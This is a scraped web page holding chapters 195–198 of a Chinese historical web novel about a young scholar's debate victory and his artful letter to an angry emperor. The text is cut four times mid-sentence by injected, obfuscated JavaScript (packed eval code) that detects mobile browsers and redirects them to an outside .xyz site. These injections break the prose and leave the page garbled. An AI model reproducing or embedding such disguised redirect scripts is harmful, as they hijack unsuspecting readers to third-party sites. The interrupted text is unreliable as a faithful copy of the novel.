;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088485|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱有十二万分尊崇,何来王充异端之说?” “我尊你一声陈公,视您为前辈。但您莫要输了辩经,便恼羞成怒,给我扣上‘异端’的帽子,实在有失前辈风度!” 陈衝闻言怒急。 他呵斥道:“竖子妄言!你三番五次欲删《毛诗序》,还敢说自己不涉谶纬?若真不涉谶纬,为何独独针对《毛诗序》?” 崔岘挑了挑眉,反驳道:“经史互证、以经解经,在你看来是针对?既然这样,那这大梁文坛,干脆由你陈衝的意思,彻底取消辩经吧!” “而且,谁和你说,我只独独盯着《毛诗序》不放?” “方才我在台上自辩,话都没说完,你便迫不及待打断。如今又对我百般曲解,实在可笑!” 陈衝眯起眼睛:“既如此,那你倒是说说看,除了《毛诗序》,你还打算‘校讹订谬’哪些书籍啊?” 崔岘拱了拱手,认真回道:“《诗经》《尚书》《礼记》《周易》《春秋》。” “《大学》《中庸》《论语》《孟子》。” “《孝经》《尔雅》《管子》《老子》《庄子》《墨子》《韩非子》《孙子兵法》《楚辞》《周礼》《仪礼》。” 这一串堪比‘报菜名’式的‘报书名’,让陈衝愣住了。 随后他不耐烦道:“你说这么多书,具体是哪一本?” 崔岘回道:“以上都是。” 陈衝:??? 在场其余读书人:??? 满场寂静失声。 所有人都看向崔岘,宛如在看一个傻子。 连本来神情紧绷的裴坚、严思远等人,都不可置信的看向崔岘。 哥,认真的吗? 而正如崔岘预料的那样,方才认为他是‘异端’,怀疑他‘挑衅儒家神圣权威’的声音,骤然消失。 不是,谁会这么挑衅啊?! 当你质疑某本书,意图删除它,可能会被怀疑是‘异端’。 但当你质疑一堆书,就理所当然不再是异端,而是——‘学术疯子’。 陈衝从呆滞中回过神,直接被带跑偏了,震声怒道:“二十经皆‘有漏’,惟尔独醒乎?” “那你倒是说说看,这些书籍,何处需要校讹订谬?!” 崔岘微笑道:“抱歉,这是我其余对手需要考虑的问题。现在,作为败者,请你下去。” 陈衝脸色瞬间涨成猪肝色。 195、被套路的皇帝(上) 195、被套路的皇帝(上) 听完崔岘的话。 陈衝再也无颜继续逗留,哆嗦着羞愤走下辩经台。 周围,人群仍旧在寂静沉默。 一是因为,方才崔岘宣称足足二十经有漏,实在过于惊人。 二是因为,纵然他‘二十经有漏’的说法再如何狂妄荒谬,也掩盖不了,大儒陈衝在他手中两个回合,便败下阵来的事实啊! 所以。 陈衝下台后许久。 全场的读书人们,愣是没人站出来,质问一句‘惟尔独醒乎’。 陈衝质问了一句,当场被赶下台。 那他们若是跟着质问,崔岘直接说‘不服你上来辩一场’,怎么办? 谁有底气上去啊?! 这就造成了现在诡异又尴尬的局面。 哪怕明知崔岘的话离经叛道,狂妄自大,却无人敢站出来驳斥! 辩经台上身穿红衣的耀眼少年郎—— 凭学识,以一人,压全场! 东莱先生在旁边看着,神情既欣慰骄傲,又担忧揪心。 因为小徒弟即将要走的路,比他当年,困难无数倍啊! 最后,见始终无人开口。 崔岘环视四周,主动道:“诸君有何疑虑,尽管问之!” 那可太有疑虑了! 听到崔岘这么说,一位读书人迟疑片刻,站出来拱手询问道:“敢问崔师兄,方才‘二十经有漏’的说辞,可是认真的?” 崔岘回道:“自然。” 他答得如此干脆利落,明显给那询问的读书人整不会了。 数次张口后,读书人才找回思路,试探性委婉问道:“若是有人和崔师兄持不同观点……?” 在无数哗然、呆滞目光注视下。 辩经台上的崔岘扬了扬眉梢,露出肆意张扬的笑容,朗声道:“以上二十经,经经有漏洞。” “自今日起,我在此每三日开一场辩论。诸君若持不同观点,随时欢迎登台。” “至于辩论内容,这二十经,任诸君挑选!” 哗! 此话,简直比‘二十经皆有漏’更加令人震撼。 虽说科举需要博览群书。 但人各有擅长,怎么可能精通这么多书籍? 崔岘一人开台,宣称对手可以在二十经中随便挑选,来同他辩论! 这得是何等的自信,亦或者说,是何等的狂妄啊! 因此,崔岘这番话说完,全场都被镇住了。 一片安静中。 某个酸腐老儒再也忍不住,指着台上的崔岘,颤声怒道:“尔谤二十经如伐天柱…… 仔细看就能发现。 当崔岘说出二十经皆有漏的时候,其余人只是震惊。 但台下那群老儒们,有一个算一个,脸色都扭曲了。 对于坚持‘经书神圣不可侵犯’的他们来说,改一个字,都不可被原谅! 更何况‘二十经有漏’? 台上。 崔岘没等那老儒说完,循声看去,笑道:“老先生有不同意见,不妨上来切磋。 众目睽睽下。 那老儒如同被掐着脖子的公鸡,涨红着脸,骤然失声。 陈衝都败了,他怎么敢上去‘切磋’啊? “既然诸位再无异议,那么,我们三日后见。 崔岘笑着朝全场众人洒脱拱手。 接着和老师东莱一起,先后走下辩经台,乘坐马车离开。 先前来的时候,他备受瞩目。 如今走的时候,同样是全场当之无愧的焦点! 马车缓缓离开府学。 人群自动分开,给他让路。 等马车离去许久。 意识到这场辩论结束了的人群,终于打破宁静,尽是各种吵嚷喧哗! “老天,贾邵师兄和崔岘师兄竟然是一个人!这个消息,肯定会引发大梁文坛轰动! “陈衝前辈在崔岘师兄手下,撑不过两个回合! “方才崔岘师兄那场绝杀辩论,绝对会成为辩论史中的经典! “二十经皆有漏?崔岘师兄胆子也太大了。接下来肯定会有无数老儒,来找他的麻烦! “最震撼的是,崔岘师兄说二十经随意辩!这是在给整个文坛的古文经学派老儒们下战书啊! 太刺激了! 今日崔岘应五年之约,开封首辩,从头‘炸裂’到尾。 每一个环节都足以让人倒抽冷气,直呼‘好家伙’! 五年不出山的崔岘,一露面,便开启‘狂轰乱炸’模式,‘炸’的整个开封为之侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088486|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目! 不,不仅仅是开封。 马上,整个大梁文坛都要因他而动荡了! 这话半点都不夸张,因为—— 刚才被崔岘邀请登台切磋,而安静如鸡的那位老儒,如今站在人群中震声嘶吼:“狂妄崔岘!” “谤二十经如伐天柱,宁不畏‘荧惑入南斗,天子下殿走’之谶乎?!” 老儒这话,当即引来一群苍老面孔的愤怒附和。 “非孔圣后裔,妄效删述——此颜回所谓‘末学肤受’之痼也!” “伪托损益,实毁圣迹——岂不闻‘小人不知天命而不畏’?” “诸位!我等**读圣贤书,绝不容此经贼乱来!” “可恨那经贼崔岘,仗着有几分学识,欺压我等,意图篡改圣贤书,实在可恶!” “我们给桓应先生、荀彰先生、班临先生写信,请他们出山来开封!我就不信,这大梁文坛,无人能惩治他崔岘?” 这群老儒神情狰狞,声音尖锐。 甚至计划**在一起,去开封府衙,请府尊大人将崔岘逐出开封! 若府尊不答应,他们就一头撞死在府衙外! 这疯狂一幕,看的无数人头皮发麻。 崔岘,究竟惹到了一群何等难缠的存在啊! 而严思远等小黑粉们,看着那帮老儒,心情莫名有些微妙。 崔岘其人,果然永远不缺黑粉啊。 围观的百姓们逐渐散去,嘴里议论着今日的辩经。 议论着小神童崔岘的俊俏风姿。 而读书人群体,则是已经被震惊到麻木。 不出意外,接下来一定会有更多成名多年的老儒,自大梁四面八方赶来开封,登台教训崔岘! 今日崔岘第一场辩经结束了。 但所有人都知道,这,仅仅只是个开始! 一场没有硝烟,但却足以杀到‘血流成河’的学术战争,即将打响。 崔岘单方面挑起的战争! 而战场,就在开封! 当天,不知道多少老酸儒的信件,自开封送出去,即将引爆整个大梁文坛。 包括崔岘,在下了辩经台回去后,第一时间,也是写信! 给皇帝写信! 别的都暂时不重要,得先把龙椅上那位忽悠哄好了,才是正经事儿啊! 196、被套路的皇帝(中) 196、被套路的皇帝(中) 开封、状元巷。 崔宅。 辩经结束后,且不管如今整个开封,因为自己而陷入何等轰动。 崔岘回到家,径直进了书房。 几乎是前后脚的功夫。 老崔氏、陈氏、林氏,抱着崔璎的崔仲渊、崔伯山,以及崔钰、崔璇等一大家子,都神情晕乎的回来了。 除了曾经去过洛阳的老崔氏。 其余一家子人,脸色一个比一个震惊。 尤其是崔仲渊。 他喃喃道:“贾邵为萧震将军作的那首‘封侯非我意、但愿海波平’,我这段时间每每吟诵,都觉得热血沸腾。” “结果,贾邵就是咱家岘哥儿?!” 方才开封府外那场辩经,崔家一大家子人,全都去了。 别人在震惊于‘贾邵和崔岘是同一个人’的时候。 崔家人同样嘴巴张的老大:我们也是刚知道这事儿啊! 虽说这些年,早就习惯了岘哥儿妖孽,但这真的妖孽的有点离谱了! 崔伯山则是看向老崔氏,谴责道:“娘,你当时在洛阳办《东都花讯》,肯定知道贾邵就是岘哥儿吧?怎地回来一点消息都不肯透露!” 由此可见,老崔氏确实是办大事儿的人,嘴巴是真严呐! 面对一家人的谴责。 老崔氏嘿嘿一笑,整个人红光满面、激动到不行:“哎呀,都是小事儿,先别管这个了!” “岘哥儿这次闹得动静这么大,咱们今日,得抓紧时间,印刷《汴梁邸报》。整个开封城,不,半个大梁都在等着买咱家邸报呢!” “发达咯,发达咯!” “对了,再通知咱家镖局,所有人今天都得准备好,明日一早,怕是就得带着邸报赶往大梁各处了!” 数月前,在洛阳,老崔氏没赚到‘镖局押送邸报’的钱,急得直呼没经验。 所以赶来开封后。 她大手一挥,收购了一家濒临倒闭的镖局,更名为‘崔氏镖局’! 如今岘哥儿已经在开封登台露面,这镖局,自然就有用武之地了! 旁边。 听到祖母提起‘镖局’,再想想今日 阿弟在辩经台上说的惊人言论,和那帮酸腐老儒们的谩骂。 崔钰有些不安的说道:“祖母,我记得,咱家镖局里有好几个身材壮硕的练家子好汉。” 他一开口,老崔氏便懂了,当即道:“对对,钰哥儿说的,我心里有数!我特地交代了,不让他们押镖,来咱家给岘哥儿做护卫!” “待会儿我就把他们喊过来,让岘哥儿掌掌眼。” 一家子人闻言,都松了口气。 防范于未然,总是没错的! 老崔氏扬起下巴,整个人都格外亢奋:“岘哥儿已经初步打完了他的那一仗,接下来,该咱们上了!” 陈氏、林氏等人互相对视,都看到了彼此眼睛里的斗志,与坚定。 为了崔氏崛起,为了保护岘哥儿,这一家子,都得支棱起来啊! 因此。 当满开封城都在议论崔岘,议论崔岘‘二十经皆有漏’惊人言论的时候。 老崔氏带着全体崔家人,正式准备‘应战’! 虽说崔宅里一片忙碌。 但崔岘所在的书房,却格外安静。 他坐在书案前,拧眉沉思。 说实话,这次‘掉马’等同于‘欺君’,想要哄好皇帝,不容易。 而且单只把皇帝哄好,对于崔岘来说,是亏的。 他要不仅把皇帝哄好了,还得潜移默化的、不着痕迹的,把新学思想传递出去。 这一步尤为关键。 直接关乎着,以后崔岘暴露‘新思想’被整个文坛当做异端的时候,能否获得王权背书。 只要皇帝愿意采纳新思想,那他就相当于手里攥着一柄尚方宝剑! 还有个很严峻的问题是—— 如今陈秉回京,重新入阁。 崔岘掉马欺君的事情,极有可能连累到师祖郑霞生,从而导致让陈秉钻到空子,夺回首辅的位置。 细细思索过后,崔岘捋清楚了自己的需求。 亦或者,捋清楚自己给皇帝这封信,要达到的目的。 首先要偷换概念,把欺君,说成忠君。 这里要注意一点,绝对不能白纸黑字主动认错,谨防对方以后翻旧账。 其次,给皇帝回忆一番自己先 前做的大好功绩。 这里要注意,不能提孟津祥瑞。假的就是假的,提多了会起反效果。拿东南萧震说事儿,最为稳妥。 再接着,狠狠拉踩陈秉一番,断掉此人钻空子上位的可能。 最后,借着拉踩陈秉,讽刺整个朝堂,暗示自己的‘新思想、新学说’,画个大饼,说给皇帝听。 这四步连招,其实颇有点‘渣男话术’那味儿—— 偷换概念、回忆甜蜜、痛点撩拨、画饼脱罪! 不过这样一来,就没办法跟前几次写信那般,只用寥寥几字、或者一副简笔画,来传递心意。 字太多会让人没耐心读下去,也不够巧妙。 那就再换个套路! 一个只有崔岘,和皇帝本人能看懂的,独属于二人的小套路—— 拆字! 想到这里,崔岘眼睛亮起来。 他将皇帝先前给自己回的两封信取出,其中一封就一个字‘善’。 另一封,是一句话‘爱卿乃朕之肱骨也’。 这个时候,有文采的好处就显现出来了——文人一张嘴,死的都能给你说成活的! 天下女子,人人痛斥渣男,却又人人拒绝不了渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088487|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男,为何? 渣男嘴甜啊! 心里这样想着,崔岘提笔蘸墨,开始写信。 罪臣崔岘,呈天阙析字疏: 陛下昔赐‘肱骨’二字,臣日夜摩挲如对明月。 ‘肱’者:巨舟之楫也!左从‘厷’,若龙臂擎天;右附‘月’,似夜舟潜行。 忆东南风波恶时,臣效范蠡夜泛五湖,匿形运策,非敢欺天,实恐萤火之光扰曜日——然终护得陛下抗倭良将,岂非暗合‘月下楫稳巨舟’之天机? ‘善’者:上‘羊’如羔跪乳,下‘誩’似双璧映辉! 今观庙堂,或效楚人献璞却遭刑足,或学郑人争年面红耳赤。 臣愚,欲磨去誩字浮嚣苔锈,令羊毫化万钧之笔。 为陛下录《豳风·七月》之实政,非《子虚》《上林》之虚辞! 写完之后,崔岘细细读一遍,总觉得还少些什么? 嗯…… 渣男哄女子的时候,结尾一般都要卖惨表忠心,说点类似于‘我以后 都听你的,你怎么处置我都行’这种屁话。 于是,崔岘又添了一句: 秃笔残砚已备,静待雷霆或甘霖。 如此,一封精心书写,每一个字都是为皇帝量身打造的‘套路之信’,便完成了。 当日。 这封信自开封送出,快马加鞭,呈送京城。 但,还是慢了一步。 贾邵就是崔岘,这个惊人的消息,先是‘引爆’开封,又疯狂朝着大梁扩散。 皇帝自然是第一时间接到了消息。 彼时,嘉和皇帝刚刚吞下仙丹,整个人面色红润,心情大好。 直到司礼监秉笔太监战战兢兢进来,满脸惶恐:“陛下,开封来了消息。” 哦? 是朕的祥瑞才子,又送信来了? 嘉和皇帝笑道:“呈上来。” 秉笔太监颤声道:“陛下,没有信件,是,是一则消息。” 什么消息? 看秉笔太监这脸色,嘉和皇帝便知道是坏消息,他脸上的笑容缓缓消失,眯起眼睛道:“说。” 秉笔太监沉默片刻,小心道:“贾邵其人,并不存在。” “他,他真正的名讳,是郑首辅的徒孙,曾经被陛下御赐‘麟子文星、神童天授’的、《悯农》作者,南阳崔岘。” 嘉和皇帝愣住了。 没有贾邵? 只有崔岘? 几乎是在瞬间,嘉和皇帝便反应过来。 原来上次那封简笔画里,贾邵画的那个低垂的小尾巴,是这个意思! 饶是早就做了心理准备,可这一刻,皇帝还是有一种被愚弄的愤怒。 你句句表忠心,字字系君父。 结果……连身份都是假的?! 那什么是真的? 197、被套路的皇帝(下) 197、被套路的皇帝(下) 当嘉和皇帝因受到蒙骗而感到异常愤怒的时候。 内阁。 阁老陈秉也收到了自开封送来的一封信。 算算时间贾邵应该已经自洛阳启程赶至开封准备登台同那崔岘辩经。 郑霞生的徒孙崔岘确实厉害但很大可能是辩不过贾邵的。 难不成崔岘赴五年之约登台辩经第一场便败了? 若真是这样那郑霞生徒孙的文坛领袖之路彻底被斩断。 还会成为整个文坛的笑柄。 反之贾邵极有可能会成为新的大梁文坛领袖! 来日将此子收归麾下好生培养一番以‘文坛领袖’的身份入阁……单是想一想陈秉都高兴到合不拢嘴! 陈阁老年纪大了拿着仆从送来的信颤抖着手好几次都没能把信拆开。 恰逢此时郑霞生自里间走出二位阁老打了个照面。 瞧见他陈秉笑道:“我老咯不中用了连封信件都拆不开。汉阳你来帮我一把。” 汉阳是郑霞生的表字。 内阁里有六位阁老当以首辅为尊按道理陈秉应该喊一声‘首辅大人’亦或者‘阁老’。 但他倚老卖老非得喊一句‘汉阳’。 而且还要把疑似‘贾邵辩败崔岘’的信件让郑霞生来拆。 摆明了不怀好意。 郑霞生笑了笑快步走过来接过那封信边拆边笑道:“老大人早就到了该颐养天年的时候却仍旧在为陛下、为朝堂出力。” “实在令人钦佩——啊!” 说话的同时郑霞生拆开了那封信似乎是不小心瞄到了信件内容而后发出一声震惊到极点的惊呼。 当然这是演的。 他此刻演的越逼真越是能证明**崔岘和贾邵是一人的事情。 为了避嫌此次崔岘只给皇帝写了信都没给师祖送信。 郑首辅的惊呼惹得内阁所有人都看过来。 陈秉见状 显然这是他那小 徒孙崔岘输了! 否则堂堂首辅,怎么会震惊到掩饰不住情绪? 贾邵啊贾邵,老夫果然没有看错你! 结果,听到陈秉的问话,郑霞生震惊喃喃道:“好你个贾邵,竟然闯下这般滔天大祸!且看我怎么教训你!” 啊? 郑霞生作为首辅,说这话,是不是有点不合适啊? 整个内阁里的人,闻言都惊异瞪大眼睛,不明白发生了什么。 陈秉心中舒爽,却佯装蹙眉道:“汉阳,慎言!你这话……” 没等陈秉说完。 司礼监秉笔太监匆匆来到内阁:“郑首辅、陈阁老,陛下有请。” 郑霞生把那封信往怀里一揣,急匆匆出了内阁。 陈秉:? 那是我的信!我还没来得及看呢! 以及,这个时候陛下突然召见,所为何事? 陈秉想跟司礼监太监打听一番,但对方神情忧心忡忡,显然是在走神,因此到底是没找到合适机会询问。 这就导致,陈阁老跟着郑霞生、司礼监秉笔太监一起,进了乾清宫大殿。 三人刚走进去。 就听里面嘉和皇帝愤怒质问道:“郑霞生,你胆敢算计朕?让你的徒孙崔岘,顶着贾邵的名讳,**朝堂、插手东南!” “你可知罪?” 郑霞生当即匍匐跪地,高声道:“陛下,臣冤枉啊!” 旁边。 听完这话的陈秉:??? 他确实是年纪大了,愣了一会儿才反应过来—— 贾邵和崔岘是同一个人? 一个人?! 那一刻,饶是陈秉老谋深算,一张脸都不可控制的扭曲了。 他选中的**人,是郑霞生的徒孙? 他花费大量金钱,资源,人脉,替贾邵在洛阳、乃至在全大梁扬名,结果是为他人做嫁衣? 甚至于,贾邵救下萧震,得罪了东南豪强。 陈秉惜才,特地勒令东南方面,不可找贾邵的麻烦! 为此,他还做出了很大的利益让步! 结果现在你告诉我,贾邵就是崔岘?! 啊? 再想 想自己方才得意让郑霞生拆信,真是……何其可笑! 陈秉气啊! 气的脸皮发抖! 精心选中,甚至已经提前花大代价开始培养的‘**人’,是郑霞生的徒孙。 这搁谁不气? 龙椅上的嘉和皇帝,同样十分愤怒。 这就很有趣。 皇帝坐着,陈秉站着,两人怒不可遏。 反倒是惶恐跪倒在地,看似战战兢兢的郑霞生,在心里哈哈大笑。 爽! “冤枉?你还敢喊冤枉?何其可笑!” 皇帝见状更加愤怒,甚至开始口不择言:“朕让你坐在首辅这个位置,你就是这样替朕分忧的?” 陈秉闻言,心中的怒火暂歇,苍老的眼睛深处,浮现出一抹希冀。 他看到了希望! 借此事,把郑霞生拽下来,重新坐回首辅之位的希望! 但纵然心中思绪翻滚,陈秉却垂下眼皮,一动不动站在那里,安静如枯木。 此刻,他一句话都不能说。 越是表现的沉稳,越是能将狼狈的郑霞生,衬的宛如一只靠不住的丑猴子。 “陛下,老臣实在冤枉啊!老臣不知,自家徒孙竟然换了个名讳,以贾邵的身份出去闯荡。不瞒陛下,孟津事件结束后,老臣还曾派遣人,去暗中拉拢那贾邵。” 郑霞生说着,又含泪举起手中的信件:“请陛下过目!这是方才自开封送给陈阁老的信!陈阁老说他老了,不中用了!手抖到信都拆不开!让老臣帮忙拆信。” “拆了信,老臣才得知,原来贾邵和小崔岘,是同一个人!老臣冤枉啊陛下!” 陈秉:“……” 好你个郑霞生,都到这个地步了,还不忘给我上眼药! 果然。 皇帝听了以后,当即让司礼监太监把信件呈上来,简单翻阅一番,嗤笑看向陈秉:“陈阁老,小动作倒是不少啊。” “可惜哟可惜,竹篮打水,一场空。” 大概是自己心情不好,所以嘉和皇帝说话阴阳怪气,故意往陈秉心窝子上扎。 陈秉:“……” ‘这一刀’扎的确实有点狠,陈秉心脏都在哆嗦。 但他 还是强压住情绪,缓缓跪倒在地:“启禀陛下,老臣没有小动作,若是有,也是为了陛下。 “臣若是知道,那呈送祥瑞、救下萧震的贾邵,乃首辅徒孙。是万万不敢抱着为陛下分忧,筛选门生的想法,去拉拢那贾邵的。 郑霞生神情一凛。 大家都是千年的狐狸,每一句话,都带着致命的机锋。 一字一刀,使劲互捅。 端坐在皇位上的嘉和皇帝,自然能听懂这两个老东西你来我往的交锋,他眯起眼睛,在二人身上来回打量。 贾邵是崔岘,而崔岘是郑霞生徒孙,先送祥瑞,又插手东南。 这件事,确实令嘉和皇帝愤怒,且警惕! 因为平衡被打破了! 要……处置郑霞生吗? 皇帝心中尚且未做定夺,盯着二位阁老片刻,只淡淡说道:“陈阁老,起身吧。 “谢陛下。 陈秉缓缓起身。 徒留郑霞生依旧诚惶诚恐跪着。 接下来近乎一盏茶的功夫,皇帝始终不发一言。 殿内的氛围,有种让人喘不过气来的压抑。 随着时间的流逝,陈秉觉得这把稳了。 而跪在地上的郑霞生,心里一片平静。 他在等。 因为他还有一张救命符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088488|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在开封送过来的路上。 又是半盏茶功夫过去。 司礼监秉笔太监拿着一封信,匆匆进来:“启禀陛下,贾邵……呃,崔岘来信。 一句话,让郑霞生、陈秉,嘉和皇帝齐齐看了过来。 陈秉政斗经验非常丰富,当即呵斥道:“陛下,此人欺君罔上,竟然还敢继续呈送信件,实在胆大包天! 为避免节外生枝,这封信,最好别让皇帝看。 皇帝闻言,附和着冷笑一声:“确实胆大包天。 陈秉心中一松。 郑霞生却一颗心提到了嗓子眼。 结果却听皇帝又冷笑道:“呈上来,朕倒是要看看,这胆大包天之人,写了什么东西! 郑霞生一颗心放下。 换陈秉满眼警惕。 司礼监太监把信件呈上去。 皇帝打开信,瞧见上面熟悉惊艳的字迹,冷笑定睛观看。 日夜摩挲,如对明月? 皇帝的冷笑,不自觉变成了面无表情。 虽说欺君罔上,假借身份,但就凭这一句,也不至于‘罪该万死’。 拆字? ‘肱骨’是为——龙臂擎天、夜舟潜行? 你的意思是,你隐藏身份,并非欺君,反而是在效仿范蠡隐世报国,忠臣暗助圣主? 胡说八道! 朕一个字也不信! 皇帝面无表情绷紧的嘴角,不自觉缓和下来。 郑人争年? 这话倒是有几分道理。满朝文武汲汲营营,高谈阔论,实在可恶! 眼前郑霞生、陈秉二人,不就在互打机锋,与‘郑人争年’何异? 嘉和皇帝冷冷瞥了两位首辅一眼。 两位首辅:? 皇帝不理会他俩,继续看信。 磨去誩字浮嚣苔锈,令羊毫化万钧之笔? 这一句,‘拳拳赤诚之心’扑面而来。 再加上一句‘秃笔残砚,静待雷霆或甘霖’作收尾。 不仅将皇帝比作‘天象’,甚至还有点‘贤士静候明主’的悲壮。 好你个贾——好你个崔岘! 欺君罔上就算了,还敢在朕面前渴求‘入仕’? 岂有此理! 但,嘉和皇帝又看向那句‘为陛下录《豳风·七月》之实政,非《子虚》《上林》之虚辞’,不免心生神往。 若是让崔岘进入朝堂,这种太平盛世,真的能实现吗? 这个想法只是在嘉和皇帝脑海里浮现片刻,而后他的眉头便狠狠一跳。 不对劲! 那厮犯得是欺君之罪! 怎地送来的这封信,完美规避罪责。 用华丽的文字,巧妙地拆解,愣是将一场欺君罔上的罪责,变成了一场展示才华、表达忠心,甚至‘推销自我**学术抱负’的精彩演说? 嘉和皇帝反应过来了。 于是内心油然生出一股……憋闷?! 对,就是憋闷! 话说的这么漂亮,实则没有一点认错的诚意! 还拆字呢,就你会拆字? 且看朕一字一句、拆穿你的胡言乱语! 那一刻,嘉和皇帝的倾诉欲达到了顶峰,已经到了不吐不快的地步。 很憋屈! 想吵架! 因此,不顾二位阁老呆滞、傻眼的注视,皇帝怒声道:“把笔墨呈上来,朕要给那逆臣写斥责信!” 但其实从这里开始,皇帝才是真的被‘套路’了。 他是皇帝,要是真生气,应该直接下令说‘斩了他’。 而不是‘写斥责信’。 可此事到底是崔岘有错,皇帝心中有气,很正常。 这气,还得及时撒出去,不然积累多了,更麻烦。 所以—— 陛下,来把我骂一顿,狠狠出气吧! 骂完了,咱俩就和好了奥。 198、皇帝的‘惩罚\’ 198、皇帝的‘惩罚’ 乾清宫大殿内。 在两位阁老懵逼的注视下,嘉和皇帝取来笔墨,怒气冲冲开始写‘斥责信’。 陛下看似脸色很差。 但跟皇帝打过多年交道的二位阁老,一眼便能瞧出端倪。 皇帝的气,其实已经消了大半。 不是? 一封信送过来,问题就轻松解决了?! 作为旁观者,陈秉、郑霞生非常直观的看出,崔岘在皇帝心目中的地位。 尤其是陈秉。 他苍老的眼睛里,浮现出愤怒、警惕、杀意……甚至嫉妒。 到了他这个位置,自然比别人更清楚,一位‘简在帝心’的臣子,能有多可怕。 更可怕的是,崔岘才14岁,甚至还没来得及进入朝堂! 这般璀璨惊艳、智谋过人的少年郎,若是能收归麾下…… 不,已经绝无可能了! 这样想着,陈秉缓缓垂下苍老的眼皮,掩饰住眸子里阴冷的狠毒杀意。 既不能为我所用,那,就得趁早处理掉,以绝后患。 旁边。 郑霞生用余光瞥了一眼陈秉,藏在袖间的手缓缓攥紧。 小崔岘接下来的日子,怕是不好过了。 好在,小崔岘自己足够聪明,提前跟龙椅上的皇帝,笼络好了关系。 而作为师祖,郑霞生自然也会用十二万分力气,替小徒孙保驾护航。 龙椅上。 皇帝此刻已经无暇顾及别人,笔走龙蛇给崔岘写回信: 狂徒! 尔拆字之术,类优孟衣冠,眩人耳目! ‘肱’之‘厷’乃**待发,‘月’实肉悬鼎镬! 尔夜行效范蠡?分明黥布诈降!护将之功,不抵欺天罪毫! 至若‘善’字妄解:羔跪乳是禽兽之礼,双璧映辉成珷玞乱玉!尔言‘铸砥石’,恐效宋人以燕石为璞! 写完这一段斥责,皇帝心里总算出了一口恶气。 当然换成旁人,敢跟自己这么狡辩,嘉和皇帝早就翻脸了。 但,崔岘隐瞒身份不假,呈送祥瑞、护下萧震之功,同样不假啊! 甚至皇帝生气的根本原因,不在于崔岘隐瞒身份,而是在于,崔岘的**,是郑霞生的徒孙。 这有涉及党争之嫌! 毕竟在嘉和的心目中,‘贾邵’是个运筹帷幄、心系君父、未被庙堂党争同化的‘纯臣少年’。 斥责信的前半段写完了。 嘉和皇帝稍微冷静下来,再去回想方才崔岘那封信里的‘磨去誩字浮嚣苔锈’,眉头微挑。 浮嚣苔锈。 还是从‘誩’字拆解出来的。 怎么听着有点像是在暗示新旧交替、儒家变革呢? 为了确定自己没有理解错,他又翻开那封郑霞生呈上来,说是开封送来给陈秉的信件。 信件中,详细描述了小神童崔岘赴五年之约,登上辩经台的始末。 崔岘首辩的议题是:诗教当重训诂耶?重心悟耶? 在这个议题里,他按住《毛诗序》使劲打。 甚至还说了‘甘为天下先’这样的言论。 最后更是当众称‘二十经皆有漏’。 皇帝心里有数了。 尊贵如他,都没忍住在心里直呼一句‘好家伙’。 此子,果真胆大包天。 两相对比,甚至崔岘‘隐瞒身份欺君’都显得没那么严重了。 但,才14岁的少年郎,纵然再如何优秀,又岂能真做到‘令羊毫化万钧之笔’? 只是思及如今的朝堂,和南倭北虏犯乱,嘉和皇帝必须承认,他对崔岘‘画的饼’有了一丝丝期待。 不过,这点期待,皇帝当然不会说出来。 甚至还要佯装没看懂崔岘的暗示,把话反着说。 再借机狠狠敲打一番对方! 莫要仗着君父纵容,便敢无所顾忌! 因此皇帝沉思片刻,继续写道: 尔所谓‘浮嚣苔锈’—— 可令寒士不哭盐车? 可使猾吏畏如冰刃? 可教书生弃雕虫而铸犁铧? 若答此三问,朕暂寄尔头于项。 若虚辞搪塞…… 卿自择:鸩酒苦?鱼肠利?或悬梁素绢雅? 信件写完了。 皇帝自己看了一遍,很是满意。 他将信件递给司礼监秉笔太监,冷哼说道:“送去开封,让那逆臣‘日夜摩挲,如对明月’。 “是。 司礼监秉笔太监恭敬接过信件,缓缓离开大殿。 他将信件递给一个小太监,并特地嘱咐道:“陛下的信件,仔细送去开封。 “还有,另备十箱厚礼,登门赠予崔家。 